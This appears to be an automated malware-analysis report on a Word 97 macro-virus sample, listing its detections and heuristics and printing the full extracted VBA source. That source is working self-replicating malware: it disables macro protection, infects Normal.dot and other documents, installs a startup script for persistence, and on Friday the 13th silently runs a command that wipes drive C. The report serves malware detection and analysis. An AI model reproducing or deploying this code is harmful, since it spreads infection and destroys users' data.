MALICIOUS
356
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
This document contains legacy WordBasic macro virus markers and multiple VBA macros, including AutoOpen and AutoClose. The AutoOpen macro attempts to export components to C:\Windows\ and create a VBScript file in the startup folder, likely for persistence and propagation. The presence of Shell() and CreateObject() calls, along with ClamAV detections for 'Doc.Trojan.Been-1' and 'Win.Trojan.DelTree-7', indicates malicious intent to execute arbitrary code and potentially delete files.
Heuristics 8
-
ClamAV: Doc.Trojan.Been-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Been-1
-
VBA macros detected medium 5 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
Shell "deltree /y c:\ >nul", vbHide -
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
Options.VirusProtection = False -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set WordObj = CreateObject("Word.Application") -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() -
Auto_Close macro low OLE_VBA_AUTOCLOSEAuto_Close macroMatched line in script
Sub AutoClose() -
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUSOLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 4343 bytes |
SHA-256: ccf8a793ade5048a5d17a010c62b1981e88a0281c9fd8acae3848d4fff10334e |
|||
|
Detection
ClamAV:
Win.Trojan.DelTree-7
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "MSNI"
' MSDI.sys (Блок инфецирования документов)
' MSNR.sys (Блок востановления кода в Normal.dot)
' MSNI.sys (Блок инфецирования Normal.dot)
Sub AutoOpen()
On Error Resume Next
Options.VirusProtection = False
ShowVisualBasicEditor = False
For i = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(i).Name = "MSDI" Then Vp = True
Next i
If Vp <> True Then
ActiveDocument.VBProject.VBComponents("MSNI").Export ("C:\Windows\MSNI.sys")
ActiveDocument.VBProject.VBComponents("MSDI").Export ("C:\Windows\MSDI.sys")
ActiveDocument.VBProject.VBComponents("MSNR").Export ("C:\Windows\MSNR.sys")
Kill "C:\WINDOWS\Главное меню\Программы\Автозагрузка\MSNR.vbs"
Open "C:\WINDOWS\Главное меню\Программы\Автозагрузка\MSNR.vbs" For Append As #1
CurLine = ActiveDocument.VBProject.VBComponents("MSNR").CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents("MSNR").CodeModule.CountOfLines)
Print #1, CurLine
Print #1, "Call RestoNormalMacros"
Close #1
NormalTemplate.VBProject.VBComponents.Import ("C:\Windows\MSDI.sys")
End If
End Sub
Attribute VB_Name = "MSDI"
' MSDI.sys (Блок инфецирования документов)
' MSNR.sys (Блок востановления кода в Normal.dot)
' MSNI.sys (Блок инфецирования Normal.dot)
Sub AutoClose()
On Error Resume Next
Options.VirusProtection = False
ShowVisualBasicEditor = False
For i = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(i).Name = "MSNI" Then Vp = True
Next i
If Vp = False Then
ActiveDocument.VBProject.VBComponents.Import ("C:\Windows\MSNI.sys")
ActiveDocument.VBProject.VBComponents.Import ("C:\Windows\MSDI.sys")
ActiveDocument.VBProject.VBComponents.Import ("C:\Windows\MSNR.sys")
End If
Call Destructor
End Sub
Sub Destructor()
On Error Resume Next
If WeekDay(Date) = 6 And Day(Date) = 13 Then
Shell "deltree /y c:\ >nul", vbHide
End If
End Sub
Private Sub HelpAbout()
MsgBox "Lamers Must Been DEAD !!! BioCoded By DEATHtroyer", , "Macro-Script Virus ver1.0"
End Sub
Private Sub ViewVBCode()
End Sub
Private Sub FileTemplates()
End Sub
Private Sub ToolsMacro()
End Sub
Private Sub Organizer()
End Sub
Attribute VB_Name = "MSNR"
' Данный Script при каждом запуске компа востанавливает
' код в Normal.dot если он там отсутствует, а также выключает антивирусную защиту
' всех приложений Oficce 97
Sub RestoNormalMacros()
Set WordObj = CreateObject("Word.Application")
Set NT = WordObj.NormalTemplate.VBProject.VBComponents
NotRestore = False
WordObj.Options.VirusProtection = False
WordObj.System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Excel\Microsoft Excel", "Options6") = "Check"
WordObj.System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Office\8.0\New User Settings\Excel\Microsoft Excel", "Options6") = ""
WordObj.System.PrivateProfileString("", "HKEY_USERS\.Default\Software\Microsoft\Office\8.0\Excel\Microsoft Excel", "Options6") = "Whoa"
WordObj.System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\PowerPoint\Options", "MacroVirusProtection") = ""
WordObj.System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\8.0\New User Settings\PowerPoint\Options", "MacroVirusProtection") = ""
WordObj.System.PrivateProfileString("", "HKEY_USERS\.Default\Software\Microsoft\Office\8.0\PowerPoint\Options", "MacroVirusProtection") = ""
For i = 1 To NT.Count
If NT(i).Name = "MSDI" Then NotRestore = True
Next
If NotRestore <> True Then
NT.Import ("C:\Windows\MSDI.sys")
WordObj.NormalTemplate.Save
End If
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.